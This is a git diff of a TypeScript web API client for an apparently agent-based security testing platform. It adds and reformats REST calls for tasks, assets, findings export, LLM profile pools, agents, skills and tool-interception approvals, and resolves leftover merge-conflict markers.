${path}: ${r.status}`); + if (!r.ok) { + const fallback = `${init?.method ?? "GET"} ${path}: ${r.status}`; + let message = fallback; + try { + const payload = (await r.json()) as { error?: unknown }; + if (typeof payload.error === "string" && payload.error.trim()) { + message = payload.error.trim(); + } + } catch { + // Keep the status-based fallback for empty or non-JSON error responses. + } + throw new Error(message); + } if (r.status === 204) return undefined as T; return r.json(); } @@ -148,19 +152,21 @@ function mockReport(_task?: string): string { export function sseUrl(path: string): string { const base = process.env.NEXT_PUBLIC_SSE_BASE ?? - (typeof window !== "undefined" - ? `${window.location.protocol}//${window.location.hostname}:8787` - : ""); + (typeof window !== "undefined" ? `${window.location.protocol}//${window.location.hostname}:8787` : ""); const token = getToken(); const sep = path.includes("?") ? "&" : "?"; return token ? `${base}${path}${sep}token=${encodeURIComponent(token)}` : `${base}${path}`; } const get = (p: string) => http(p); -const post = (p: string, body?: unknown) => http(p, { method: "POST", body: body ? JSON.stringify(body) : undefined }); -const put = (p: string, body?: unknown) => http(p, { method: "PUT", body: body ? JSON.stringify(body) : undefined }); -const patch = (p: string, body?: unknown) => http(p, { method: "PATCH", body: body ? JSON.stringify(body) : undefined }); -const del = (p: string, body?: unknown) => http(p, { method: "DELETE", body: body ? JSON.stringify(body) : undefined }); +const post = (p: string, body?: unknown) => + http(p, { method: "POST", body: body ? JSON.stringify(body) : undefined }); +const put = (p: string, body?: unknown) => + http(p, { method: "PUT", body: body ? JSON.stringify(body) : undefined }); +const patch = (p: string, body?: unknown) => + http(p, { method: "PATCH", body: body ? JSON.stringify(body) : undefined }); +const del = (p: string, body?: unknown) => + http(p, { method: "DELETE", body: body ? JSON.stringify(body) : undefined }); // Go serializes nil slices as JSON null — coerce to []. const arr = (x: T[] | null | undefined): T[] => x ?? []; @@ -172,32 +178,17 @@ export const api = { // ---- auth ---- authStatus: () => get<{ initialized: boolean }>("/auth/status"), - login: (username: string, password: string) => - post<{ token: string }>("/auth/login", { username, password }), - initPassword: (password: string) => - post<{ token: string }>("/auth/init", { password }), + login: (username: string, password: string) => post<{ token: string }>("/auth/login", { username, password }), + initPassword: (password: string) => post<{ token: string }>("/auth/init", { password }), changePassword: (oldPassword: string, newPassword: string) => post<{ ok: boolean }>("/auth/change-password", { old_password: oldPassword, new_password: newPassword }), // ---- tasks ---- -<<<<<<< Updated upstream - tasks: () => get<{ tasks: Task[]; active: string }>("/tasks").then((r) => ({ tasks: arr(r.tasks), active: r.active ?? "" })), - createTask: (description: string, goal: string, llmProfileId?: number, timeoutSeconds?: number, seedFirstIntent?: boolean, planHeartbeatSeconds?: number) => - post("/tasks", { - description, - goal, - llm_profile_id: llmProfileId ?? null, - timeout_seconds: timeoutSeconds ?? 0, - seed_first_intent: seedFirstIntent ?? false, - plan_heartbeat_seconds: planHeartbeatSeconds ?? 0, // 0 = 后端归一到默认 600(10min) - }), - deleteTask: (id: string) => del<{ deleted: number }>(`/tasks/${id}`), - controlTask: (id: string, action: "pause" | "resume") => post<{ id: string; paused: boolean }>(`/tasks/${id}/control`, { action }), -======= tasks: () => get<{ tasks: Task[]; active: string }>("/tasks").then((r) => ({ tasks: arr(r.tasks), active: r.active ?? "" })), createTask: (input: { name?: string; + categoryId?: number; description: string; goal: string; llmProfileIds?: number[]; @@ -210,6 +201,7 @@ export const api = { }) => post("/tasks", { name: input.name ?? "", + category_id: input.categoryId ?? null, description: input.description, goal: input.goal, llm_profile_ids: input.llmProfileIds ?? [], @@ -220,6 +212,12 @@ export const api = { plan_heartbeat_seconds: input.planHeartbeatSeconds ?? 0, // 0 = 后端归一到默认 600(10min) coverage_enabled: input.coverageEnabled ?? true, // 默认开;false=关闭资产覆盖度功能 }), + taskCategories: () => get<{ categories: TaskCategory[] }>("/task-categories").then((r) => arr(r.categories)), + createTaskCategory: (name: string) => post("/task-categories", { name }), + renameTaskCategory: (id: number, name: string) => patch(`/task-categories/${id}`, { name }), + deleteTaskCategory: (id: number) => del<{ deleted: number }>(`/task-categories/${id}`), + updateTaskCategory: (taskId: string, categoryId?: number) => + patch(`/tasks/${taskId}/category`, { category_id: categoryId ?? null }), taskTemplates: () => get<{ templates: TaskTemplate[] }>("/task-templates").then((r) => arr(r.templates)), createTaskTemplate: (input: Pick) => post("/task-templates", input), @@ -250,9 +248,9 @@ export const api = { deleted?: { intents: number; facts: number; findings: number; activities: number }; }>(`/tasks/${taskId}/intents/${intentId}/control`, { action, reason: reason ?? "" }), taskLLMResolution: (id: string) => get(`/tasks/${id}/llm/resolution`), ->>>>>>> Stashed changes // 重跑一条没跑成功的意图(blocked/exhausted/stopped):置回 open,worker 会重新认领、从头再跑。 - rerunIntent: (taskId: string, intentId: string) => post<{ id: string; reopened: number }>(`/tasks/${taskId}/intents/${intentId}/rerun`), + rerunIntent: (taskId: string, intentId: string) => + post<{ id: string; reopened: number }>(`/tasks/${taskId}/intents/${intentId}/rerun`), // 批量重跑本任务全部 blocked 意图(一次网络/LLM 断连导致多条 blocked 时一键全部重试)。 rerunBlocked: (taskId: string) => post<{ id: string; reopened: number }>(`/tasks/${taskId}/intents/rerun-blocked`), setActive: (id: string) => post<{ active: string }>("/active", { id }), @@ -269,10 +267,6 @@ export const api = { by_type: { type: string; total: number; tested: number }[]; }>(`/tasks/${id}/coverage`), // 资产覆盖图:范围内全部资产 + 连接用的根域名/公司节点,含 tested/in_scope。 -<<<<<<< Updated upstream - taskCoverageGraph: (id: string) => - get(`/tasks/${id}/coverage-graph`), -======= taskCoverageGraph: (id: string) => get(`/tasks/${id}/coverage-graph`), // 全局 llm_usage 聚合(仪表盘新版 token 视图):按 profile 总量 + 按天分桶。 usageStats: (days = 365) => get(`/tokens/usage?days=${days}`), @@ -308,22 +302,16 @@ export const api = { post(`/tasks/${id}/scope`, { kind, value, reason }), // 删除本任务的一条测试范围。 deleteTaskScope: (id: string, scopeId: number) => del<{ ok: boolean }>(`/tasks/${id}/scope/${scopeId}`), ->>>>>>> Stashed changes // 某资产在本任务里关联的意图 / 事实 / 发现(覆盖图节点抽屉用)。 - taskAssetRefs: (id: string, assetId: number) => - get(`/tasks/${id}/asset-refs?asset_id=${assetId}`), + taskAssetRefs: (id: string, assetId: number) => get(`/tasks/${id}/asset-refs?asset_id=${assetId}`), // ---- workspace file manager (workDir) ---- - workspaceList: (path = "") => - get(`/workspace/list?path=${encodeURIComponent(path)}`), - workspaceRead: (path: string) => - get(`/workspace/read?path=${encodeURIComponent(path)}`), + workspaceList: (path = "") => get(`/workspace/list?path=${encodeURIComponent(path)}`), + workspaceRead: (path: string) => get(`/workspace/read?path=${encodeURIComponent(path)}`), workspaceWrite: (path: string, content: string) => post<{ ok: boolean; path: string }>(`/workspace/write`, { path, content }), - workspaceMkdir: (path: string) => - post<{ ok: boolean; path: string }>(`/workspace/mkdir`, { path }), - workspaceDelete: (path: string) => - del<{ ok: boolean }>(`/workspace/delete?path=${encodeURIComponent(path)}`), + workspaceMkdir: (path: string) => post<{ ok: boolean; path: string }>(`/workspace/mkdir`, { path }), + workspaceDelete: (path: string) => del<{ ok: boolean }>(`/workspace/delete?path=${encodeURIComponent(path)}`), workspaceUpload: async (dir: string, files: File[]) => { if (MOCK) return { uploaded: files.length }; const fd = new FormData(); @@ -362,37 +350,54 @@ export const api = { // ---- assets ---- // Server-side paginated: pass limit/offset, get back the page + full match total. assets: (type = "", limit = 50, offset = 0) => - get<{ count: number; total: number; assets: Asset[] }>(`/assets?type=${type}&limit=${limit}&offset=${offset}`) - .then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })), + get<{ count: number; total: number; assets: Asset[] }>(`/assets?type=${type}&limit=${limit}&offset=${offset}`).then( + (r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 }), + ), searchAssets: (dsl: string, type = "", limit = 50, offset = 0) => get<{ count: number; total: number; assets: Asset[] }>( `/assets?dsl=${encodeURIComponent(dsl)}${type ? `&type=${encodeURIComponent(type)}` : ""}&limit=${limit}&offset=${offset}`, ).then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })), - assetCounts: () => get>("/assets/counts"), + assetCounts: (taskId = "") => + get>(`/assets/counts${taskId ? `?task_id=${encodeURIComponent(taskId)}` : ""}`), deleteAssets: (ids: number[]) => http<{ deleted: number }>("/assets", { method: "DELETE", body: JSON.stringify({ ids }) }), - // legacy — kept for task-specific views; hits the same endpoint with task_id filter - taskAssets: (taskId: string, type = "") => - get<{ count: number; assets: Asset[] }>(`/assets?task_id=${taskId}&type=${type}`) - .then((r) => r?.assets ?? []), + // task-scoped view of the same endpoint — server-side paginated like `assets` + taskAssets: (taskId: string, type = "", limit = 50, offset = 0) => + get<{ count: number; total: number; assets: Asset[] }>( + `/assets?task_id=${encodeURIComponent(taskId)}&type=${encodeURIComponent(type)}&limit=${limit}&offset=${offset}`, + ).then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })), + attachTaskAssets: (taskId: string, assetIds: number[], sourceSummary: string) => + post(`/tasks/${taskId}/assets`, { + asset_ids: assetIds, + source_summary: sourceSummary, + }), + registerTaskAssetScopes: (taskId: string, scope: CompanyScopeRule[]) => + post(`/tasks/${taskId}/assets`, { scope }), + detachTaskAsset: (taskId: string, assetId: number) => del<{ detached: number }>(`/tasks/${taskId}/assets/${assetId}`), + taskIntentAssets: (taskId: string) => + get<{ assets: IntentAsset[] }>(`/tasks/${taskId}/intent-assets`).then((r) => arr(r.assets)), // ---- companies (企业 + 资产范围;归属唯一来源) ---- companies: () => get("/companies").then(arr), - createCompany: (name: string, logo: string, scope: string) => + createCompany: (name: string, scope: CompanyScopeRule[]) => post<{ id: number; created: boolean; scope_added?: number; scope_invalid?: number; scope_errors?: string[] }>( "/companies", - { name, logo, scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [] }, - ), - addCompanyScope: (id: number, scope: string, reason = "") => - post<{ added: number; skipped: number; invalid: number; errors?: string[] }>( - `/companies/${id}/scope`, - { scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason }, - ), - updateCompanyScope: (id: number, scope: string, reason = "") => - post<{ added: number; skipped: number; invalid: number; errors?: string[] }>( - `/companies/${id}/scope`, - { scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason, reset: true }, + { + name, + scope, + }, ), + addCompanyScope: (id: number, scope: CompanyScopeRule[], reason = "") => + post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(`/companies/${id}/scope`, { + scope, + reason, + }), + updateCompanyScope: (id: number, scope: CompanyScopeRule[], reason = "") => + post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(`/companies/${id}/scope`, { + scope, + reason, + reset: true, + }), deleteCompany: (id: number, deleteAssets = false) => http<{ deleted: number; assets_deleted: number }>(`/companies/${id}`, { method: "DELETE", @@ -411,30 +416,85 @@ export const api = { if (q.sort) p.set("sort", q.sort); return get(`/exploration/findings?${p.toString()}`); }, + findingGroups: (q: FindingQuery) => { + const p = new URLSearchParams({ page: String(q.page), limit: String(q.pageSize) }); + if (q.severity && q.severity !== "all") p.set("severity", q.severity); + if (q.status && q.status !== "all") p.set("status", q.status); + if (q.vulnclass && q.vulnclass !== "all") p.set("vulnclass", q.vulnclass); + if (q.task && q.task !== "all") p.set("task_id", q.task); + if (q.sort) p.set("sort", q.sort); + return get(`/exploration/findings/groups?${p.toString()}`); + }, findingStats: () => get("/exploration/findings/stats"), - getFinding: (id: string) => get(`/exploration/findings/${id}`), + // exportFindings 触发发现页导出并下载文件。scope=selected 时传 ids(finding_id 列表); + // scope=filtered 时传当前筛选(沿用 FindingQuery 的筛选字段);scope=all 忽略筛选。 + exportFindings: async (opts: { + format: "md-single" | "md-zip" | "csv" | "json"; + scope: "filtered" | "all" | "selected"; + filters?: Omit; + ids?: string[]; + }) => { + const p = new URLSearchParams({ format: opts.format, scope: opts.scope }); + if (opts.scope === "selected") { + p.set("ids", (opts.ids ?? []).join(",")); + } else if (opts.scope === "filtered" && opts.filters) { + const f = opts.filters; + if (f.severity && f.severity !== "all") p.set("severity", f.severity); + if (f.status && f.status !== "all") p.set("status", f.status); + if (f.vulnclass && f.vulnclass !== "all") p.set("vulnclass", f.vulnclass); + if (f.task && f.task !== "all") p.set("task_id", f.task); + if (f.sort) p.set("sort", f.sort); + } + const token = getToken(); + const r = await fetch(`/api/exploration/findings/export?${p.toString()}`, { + headers: token ? { Authorization: `Bearer ${token}` } : {}, + }); + if (!r.ok) throw new Error(`export: ${r.status}`); + const blob = await r.blob(); + // 文件名优先取后端 Content-Disposition,取不到则用默认名。 + const disp = r.headers.get("Content-Disposition") ?? ""; + const m = disp.match(/filename="?([^"]+)"?/); + const filename = m?.[1] ?? `findings-export`; + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = filename; + document.body.appendChild(a); + a.click(); + a.remove(); + URL.revokeObjectURL(url); + }, + getFinding: (id: string, contextTaskId?: string) => + get( + `/exploration/findings/${id}${contextTaskId ? `?context_task=${encodeURIComponent(contextTaskId)}` : ""}`, + ), // 漏洞链路:该漏洞节点回溯到任务初始节点的子图(节点 + 关系)。 - findingLineage: (id: string) => - get<{ nodes: TaskNode[]; edges: Edge[] }>(`/exploration/findings/${id}/lineage`), - setFindingStatus: (id: string, status: FindingStatus) => - patch(`/exploration/findings/${id}`, { status }), - setFindingSeverity: (id: string, severity: Severity) => - patch(`/exploration/findings/${id}`, { severity }), + findingLineage: (id: string) => get<{ nodes: TaskNode[]; edges: Edge[] }>(`/exploration/findings/${id}/lineage`), + setFindingStatus: (id: string, status: FindingStatus) => patch(`/exploration/findings/${id}`, { status }), + setFindingSeverity: (id: string, severity: Severity) => patch(`/exploration/findings/${id}`, { severity }), // 一次保存漏洞的名称/类别/严重等级(发现列表行内编辑用),只传出现的字段。 updateFinding: ( id: string, fields: { name?: string; vulnclass?: string; severity?: Severity; status?: FindingStatus }, ) => patch(`/exploration/findings/${id}`, fields), + // 删除漏洞:移除 findings 记录 + 来源探索节点(从发现列表/任务发现 Tab/探索图一并消失)。 + deleteFinding: (id: string) => del<{ deleted: boolean; id: number }>(`/exploration/findings/${id}`), + deepenFinding: (id: string, description: string) => + post(`/exploration/findings/${id}/deepen`, { description }), intents: (task?: string) => get(`/exploration/intents${tq(task)}`).then(arr), tokenStats: (task?: string) => - get<{ workers: TokenUsage[]; total: TokenTotal }>(`/exploration/tokens${tq(task)}`).then((r) => ({ + get<{ workers: TokenUsage[]; sessions: SessionTokenUsage[]; total: TokenTotal }>( + `/exploration/tokens${tq(task)}`, + ).then((r) => ({ workers: arr(r.workers), + sessions: arr(r.sessions), total: r.total, })), - tokenDaily: (days = 30) => - get(`/tokens/daily?days=${days}`).then(arr), + tokenDaily: (days = 30) => get(`/tokens/daily?days=${days}`).then(arr), conversationTokens: () => - get("/tokens/conversations").then(arr).catch(() => [] as ConvTokenSummary[]), + get("/tokens/conversations") + .then(arr) + .catch(() => [] as ConvTokenSummary[]), explorationGraph: (task?: string) => get<{ nodes: TaskNode[]; edges: Edge[] }>(`/exploration/graph${tq(task)}`), activity: (task?: string, opts?: { intent?: string; since?: number; limit?: number }) => { const q = new URLSearchParams(); @@ -442,7 +502,10 @@ export const api = { if (opts?.intent) q.set("intent", opts.intent); if (opts?.since) q.set("since", String(opts.since)); if (opts?.limit) q.set("limit", String(opts.limit)); - return get<{ items: Activity[]; cursor: number }>(`/exploration/activity?${q.toString()}`).then((r) => ({ items: arr(r.items), cursor: r.cursor ?? 0 })); + return get<{ items: Activity[]; cursor: number }>(`/exploration/activity?${q.toString()}`).then((r) => ({ + items: arr(r.items), + cursor: r.cursor ?? 0, + })); }, activityDetail: (id: number, task?: string) => get<{ detail: string }>(`/exploration/activity/${id}${tq(task)}`), // Reverse-paginated session history. session = "main" | "plan" | "intent:". @@ -485,20 +548,21 @@ export const api = { (method && method !== "all" ? `&method=${encodeURIComponent(method)}` : "") + (q ? `&q=${encodeURIComponent(q)}` : ""), ), - trafficExchange: (id: string) => - get(`/traffic/exchange?id=${encodeURIComponent(id)}`), + trafficExchange: (id: string) => get(`/traffic/exchange?id=${encodeURIComponent(id)}`), trafficHosts: () => get<{ hosts: TrafficHost[] }>(`/traffic/hosts`), - trafficDeleteHost: (host: string) => - del<{ deleted: number }>(`/traffic?host=${encodeURIComponent(host)}`), - trafficDeleteHosts: (hosts: string[]) => - del<{ deleted: number }>(`/traffic/hosts`, { hosts }), + trafficDeleteHost: (host: string) => del<{ deleted: number }>(`/traffic?host=${encodeURIComponent(host)}`), + trafficDeleteHosts: (hosts: string[]) => del<{ deleted: number }>(`/traffic/hosts`, { hosts }), // ---- app settings (runtime toggles) ---- settings: () => get(`/settings`), setSettings: (patch: Partial) => put(`/settings`, patch), // Run a real "test" search with the given (or saved) config to verify it works. - testWebSearch: (patch: { web_search_backend?: string; web_search_proxy?: string; brave_search_api_key?: string; tavily_search_api_key?: string }) => - post<{ ok: boolean; error?: string; count?: number; backend?: string }>(`/settings/web-search/test`, patch), + testWebSearch: (patch: { + web_search_backend?: string; + web_search_proxy?: string; + brave_search_api_key?: string; + tavily_search_api_key?: string; + }) => post<{ ok: boolean; error?: string; count?: number; backend?: string }>(`/settings/web-search/test`, patch), report: async (task?: string) => { if (MOCK) return mockReport(task); const token = getToken(); @@ -510,9 +574,18 @@ export const api = { }, chat: (message: string, task?: string, attachments?: ChatAttachment[]) => post<{ reply: string; mode: string }>(`/chat${tq(task)}`, { message, attachments }), + chatStatus: (taskId: string) => get<{ running: boolean }>(`/tasks/${taskId}/chat/status`), // 方式1 文件上传:落到会话/任务工作目录 uploads/,返回可供 agent Read 的相对路径。 chatUpload: async (scope: "task" | "session" | "staging", id: string, files: File[]) => { - if (MOCK) return { attachments: files.map((f) => ({ name: f.name, path: `uploads/${f.name}`, size: f.size, abs: `/mock/${f.name}` })) }; + if (MOCK) + return { + attachments: files.map((f) => ({ + name: f.name, + path: `uploads/${f.name}`, + size: f.size, + abs: `/mock/${f.name}`, + })), + }; const fd = new FormData(); for (const f of files) fd.append("file", f); const token = getToken(); @@ -528,15 +601,37 @@ export const api = { gc: (ttl = 86400) => post<{ removed: number }>(`/gc?ttl=${ttl}`, {}), // ---- LLM ---- - getLLM: () => get<{ configured: boolean; provider: string; model: string; base_url: string; proxy?: string; key_set: boolean; rate_per_second?: number; rate_per_minute?: number; context_window_k?: number; reasoning_effort?: string }>("/llm"), - setLLM: (provider: string, model: string, base_url: string, api_key: string, rate_per_second = 0, rate_per_minute = 0, proxy = "", context_window_k = 0) => - post("/llm", { provider, model, base_url, proxy, api_key, rate_per_second, rate_per_minute, context_window_k }), + getLLM: () => + get<{ + configured: boolean; + provider: string; + model: string; + base_url: string; + proxy?: string; + key_set: boolean; + rate_per_second?: number; + rate_per_minute?: number; + context_window_k?: number; + thinking_type?: string; + reasoning_effort?: string; + }>("/llm"), + setLLM: ( + provider: string, + model: string, + base_url: string, + api_key: string, + rate_per_second = 0, + rate_per_minute = 0, + proxy = "", + context_window_k = 0, + ) => post("/llm", { provider, model, base_url, proxy, api_key, rate_per_second, rate_per_minute, context_window_k }), testLLM: ( provider: string, model: string, base_url: string, api_key: string, proxy = "", + thinking_type = "", reasoning_effort = "", profile_id?: number, ) => @@ -546,6 +641,7 @@ export const api = { base_url, proxy, api_key, + thinking_type, reasoning_effort, profile_id, }), @@ -561,10 +657,17 @@ export const api = { rate_per_second?: number; rate_per_minute?: number; context_window_k?: number; - reasoning_effort?: string; // ""|"off"|"low"|"medium"|"high"|"max" + thinking_type?: string; // ""(不发送)|"disabled"|"enabled" + reasoning_effort?: string; // ""(不发送)|"low"|"medium"|"high"|"xhigh"|"max" + priority?: number; // 轮询顺位,越大越先用 + pool_exclude?: boolean; // true=不作为故障转移目标 }) => post<{ id: number }>("/llm/profiles", p), deleteLLMProfile: (id: string) => del<{ deleted: number }>(`/llm/profiles/${id}`), activateLLMProfile: (id: string) => post<{ ok: boolean }>("/llm/profiles/active", { id: Number(id) }), + // 轮询链的实际顺序 + 各配置的熔断状态。 + llmPool: () => get("/llm/pool"), + // 清除熔断,让下一次调用立刻重试该配置;不传 id = 全部清除。 + resetLLMPool: (id?: string) => post("/llm/pool/reset", { id: id ? Number(id) : 0 }), fetchLLMModels: (provider: string, base_url: string, api_key: string, proxy = "", profile_id?: number) => post<{ ok: boolean; error?: string; models?: string[] }>("/llm/models", { provider, @@ -577,8 +680,7 @@ export const api = { // ---- agents ---- agents: () => get<{ agents: Agent[] }>("/agents").then((r) => arr(r.agents)), getAgent: (key: string) => get(`/agents/${key}`), - createAgent: (key: string, name: string, description = "") => - post("/agents", { key, name, description }), + createAgent: (key: string, name: string, description = "") => post("/agents", { key, name, description }), updateAgent: (key: string, name: string, description = "") => patch<{ ok: boolean }>(`/agents/${key}`, { name, description }), deleteAgent: (key: string) => del<{ deleted: string }>(`/agents/${key}`), @@ -587,7 +689,10 @@ export const api = { conversations: () => get<{ conversations: Conversation[] }>("/conversations").then((r) => arr(r.conversations)), createConversation: (agent_key: string, title = "", llm_profile_id?: number | null) => post("/conversations", { agent_key, title, llm_profile_id: llm_profile_id ?? null }), - renameConversation: (id: number, title: string) => patch<{ ok: boolean }>(`/conversations/${id}`, { title }), + updateConversation: (id: number, input: { title?: string; pinned?: boolean }) => + patch(`/conversations/${id}`, input), + renameConversation: (id: number, title: string) => patch(`/conversations/${id}`, { title }), + pinConversation: (id: number, pinned: boolean) => patch(`/conversations/${id}`, { pinned }), updateConversationProfile: (id: number, llm_profile_id: number | null) => patch<{ ok: boolean }>(`/conversations/${id}/profile`, { llm_profile_id }), deleteConversation: (id: number) => del<{ deleted: number }>(`/conversations/${id}`), @@ -610,7 +715,8 @@ export const api = { sendConversationMessage: (id: number, message: string, attachments?: ChatAttachment[]) => post<{ status: string }>(`/conversations/${id}/messages`, { message, attachments }), stopConversation: (id: number) => post<{ status: string }>(`/conversations/${id}/stop`, {}), - saveAgentPrompt: (key: string, template: string, note = "") => put<{ version: number }>(`/agents/${key}/prompt`, { template, note }), + saveAgentPrompt: (key: string, template: string, note = "") => + put<{ version: number }>(`/agents/${key}/prompt`, { template, note }), resetAgentPrompt: (key: string) => post<{ version: number }>(`/agents/${key}/prompt/reset`, {}), // 收尾提示词(超时/步数耗尽的 settlement 提示);prompt 空串=清除覆盖、用内置默认; // max_turns 省略则不动、传 0=用内置默认轮数 @@ -622,7 +728,10 @@ export const api = { saveAgentTaskTimeoutWrapup: (key: string, prompt: string, maxTurns?: number) => put<{ ok: boolean }>(`/agents/${key}/wrapup/task-timeout`, { prompt, max_turns: maxTurns }), resetAgentTaskTimeoutWrapup: (key: string) => - post<{ ok: boolean; task_timeout_wrapup_default: string; task_timeout_wrapup_max_turns_default: number }>(`/agents/${key}/wrapup/task-timeout/reset`, {}), + post<{ ok: boolean; task_timeout_wrapup_default: string; task_timeout_wrapup_max_turns_default: number }>( + `/agents/${key}/wrapup/task-timeout/reset`, + {}, + ), // P3 triggers (仅自定义 agent) agentTriggers: (key: string) => get<{ triggers: AgentTrigger[] }>(`/agents/${key}/triggers`).then((r) => arr(r.triggers)), @@ -644,12 +753,15 @@ export const api = { trigger_max_parallel?: number; }, ) => put<{ ok: boolean }>(`/agents/${key}/config`, patch), - agentPromptVersions: (key: string) => get<{ versions: PromptVersion[] }>(`/agents/${key}/prompts`).then((r) => arr(r.versions)), - agentVariables: (key: string) => get<{ variables: PromptVar[] }>(`/agents/${key}/variables`).then((r) => arr(r.variables)), + agentPromptVersions: (key: string) => + get<{ versions: PromptVersion[] }>(`/agents/${key}/prompts`).then((r) => arr(r.versions)), + agentVariables: (key: string) => + get<{ variables: PromptVar[] }>(`/agents/${key}/variables`).then((r) => arr(r.variables)), previewAgentPrompt: (key: string, template: string, sample?: Record) => post<{ rendered: string; error?: string }>(`/agents/${key}/prompt/preview`, { template, sample }), getAgentVisibility: (key: string) => get<{ mcp: number[]; skill: string[] }>(`/agents/${key}/visibility`), - setAgentVisibility: (key: string, mcp: number[], skill: string[]) => put<{ ok: boolean }>(`/agents/${key}/visibility`, { mcp, skill }), + setAgentVisibility: (key: string, mcp: number[], skill: string[]) => + put<{ ok: boolean }>(`/agents/${key}/visibility`, { mcp, skill }), // ---- tools (内置工具目录) ---- tools: () => get<{ tools: Tool[] }>("/tools").then((r) => arr(r.tools)), @@ -657,10 +769,13 @@ export const api = { put<{ ok: boolean }>(`/tools/${key}`, patch), resetTool: (key: string) => post<{ ok: boolean }>(`/tools/${key}/reset`, {}), // custom tools (自定义工具) - createCustomTool: (t: Pick) => - post<{ key: string }>("/tools/custom", t), - updateCustomTool: (key: string, t: Pick) => - put<{ ok: boolean }>(`/tools/custom/${key}`, t), + createCustomTool: ( + t: Pick, + ) => post<{ key: string }>("/tools/custom", t), + updateCustomTool: ( + key: string, + t: Pick, + ) => put<{ ok: boolean }>(`/tools/custom/${key}`, t), deleteCustomTool: (key: string) => del<{ deleted: string }>(`/tools/custom/${key}`), testCustomTool: (body: { kind: string; exec: Record; params: Record }) => post<{ output: string; is_error: boolean }>("/tools/custom/test", body), @@ -704,8 +819,14 @@ export const api = { // ---- skills (文件系统) ---- skills: () => get<{ skills: SkillItem[] }>("/skills").then((r) => arr(r.skills)), - createSkill: (s: { name: string; description: string; license?: string; compatibility?: string; mcps?: string[]; instructions?: string }) => - post<{ name: string }>("/skills", s), + createSkill: (s: { + name: string; + description: string; + license?: string; + compatibility?: string; + mcps?: string[]; + instructions?: string; + }) => post<{ name: string }>("/skills", s), // uploadSkill installs a skill from a .zip (multipart). Surfaces the backend // error text (e.g. 已存在 / 缺少 SKILL.md) so the UI can show a precise message. uploadSkill: async (file: File, overwrite = false): Promise<{ name: string; files: number }> => { @@ -723,20 +844,25 @@ export const api = { return body; }, deleteSkill: (name: string) => del<{ deleted: string }>(`/skills/${name}`), - updateSkillMeta: (name: string, meta: { mcps?: string[]; description?: string; license?: string; compatibility?: string }) => - put<{ ok: boolean }>(`/skills/${name}/meta`, meta), - createSkillDir: (skill: string, path: string) => - post<{ dir: string }>(`/skills/${skill}/dirs`, { path }), + updateSkillMeta: ( + name: string, + meta: { mcps?: string[]; description?: string; license?: string; compatibility?: string }, + ) => put<{ ok: boolean }>(`/skills/${name}/meta`, meta), + createSkillDir: (skill: string, path: string) => post<{ dir: string }>(`/skills/${skill}/dirs`, { path }), skillFiles: (name: string) => get<{ files: string[] }>(`/skills/${name}/files`).then((r) => r.files), readSkillFile: (name: string, file: string) => get<{ content: string; file: string }>(`/skills/${name}/files/${file}`).then((r) => r.content), writeSkillFile: (name: string, file: string, content: string) => put<{ ok: boolean }>(`/skills/${name}/files/${file}`, { content }), - deleteSkillPath: (skill: string, path: string) => - del<{ deleted: string }>(`/skills/${skill}/files/${path}`), + deleteSkillPath: (skill: string, path: string) => del<{ deleted: string }>(`/skills/${skill}/files/${path}`), + skillUsage: (name: string, limit = 50) => + get<{ calls: SkillCall[] }>(`/skills/${name}/usage?limit=${limit}`).then((r) => arr(r.calls)), + missingSkills: (limit = 20) => + get<{ missing: MissingSkill[] }>(`/skills/missing?limit=${limit}`).then((r) => arr(r.missing)), // ---- visibility (MCP resource side) ---- (agent ids are strings per spec) - resourceVisibility: (kind: string, id: number) => get<{ agents: string[] }>(`/visibility/${kind}/${id}`).then((r) => arr(r.agents)), + resourceVisibility: (kind: string, id: number) => + get<{ agents: string[] }>(`/visibility/${kind}/${id}`).then((r) => arr(r.agents)), toggleVisibility: (agentId: string, kind: string, resourceId: number, visible: boolean) => post<{ ok: boolean }>("/visibility/toggle", { agent_id: agentId, kind, resource_id: resourceId, visible }), @@ -761,7 +887,8 @@ export const api = { interceptDecide: (id: number, decision: "allowed" | "denied") => post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }), interceptHistory: () => get<{ items: InterceptApprovalRow[] }>("/intercept/history").then((r) => arr(r.items)), - interceptTask: (taskId: string) => get<{ items: InterceptApprovalRow[] }>(`/intercept/task/${taskId}`).then((r) => arr(r.items)), + interceptTask: (taskId: string) => + get<{ items: InterceptApprovalRow[] }>(`/intercept/task/${taskId}`).then((r) => arr(r.items)), // ---- intercept tool-config (全局工具拦截范围) ---- interceptGetToolConfig: async (): Promise<{ enabled_tools: string[] }> => { @@ -813,6 +940,9 @@ export const api = { }, llmRecordDetail: (id: number) => get(`/llm/records/${id}`), llmTasks: () => get<{ tasks: LLMTask[] }>(`/llm/records/tasks`), - llmRecordsDeleteTask: (task: string) => - del<{ deleted: number }>(`/llm/records?task=${encodeURIComponent(task)}`), + llmRecordsDeleteTask: (task: string) => del<{ deleted: number }>(`/llm/records?task=${encodeURIComponent(task)}`), + // 按模型聚合本任务的 token 用量(来自常开的 llm_usage 计量账本,逐次调用精确, + // per-agent 绑定 / 轮询 / 中断消耗都覆盖)。 + tokensByModel: (task: string) => + get<{ models: ModelTokenStat[] }>(`/llm/records/by-model?task=${encodeURIComponent(task)}`), }; diff --git a/web/src/lib/mock/data.ts b/web/src/lib/mock/data.ts index 04f75aa..4035f93 100644 --- a/web/src/lib/mock/data.ts +++ b/web/src/lib/mock/data.ts @@ -4,11 +4,43 @@ // sessions/activity, traffic, agents, etc.) so every page looks populated. import type { - Activity, Agent, AgentDetail, Asset, Audit, Company, Conversation, - ConvTokenSummary, DailyTokenBucket, Edge, Finding, InterceptApprovalRow, - InterceptPending, InterceptRule, LLMProfile, MCPServer, MCPTool, PromptVar, - PromptVersion, Settings, SkillItem, Stats, TaskNode, Task, TokenTotal, - TokenUsage, Tool, TrafficResp, TrafficDetail, TrafficHost, LLMTask, + Activity, + Agent, + AgentDetail, + Asset, + Audit, + Company, + Conversation, + ConvTokenSummary, + 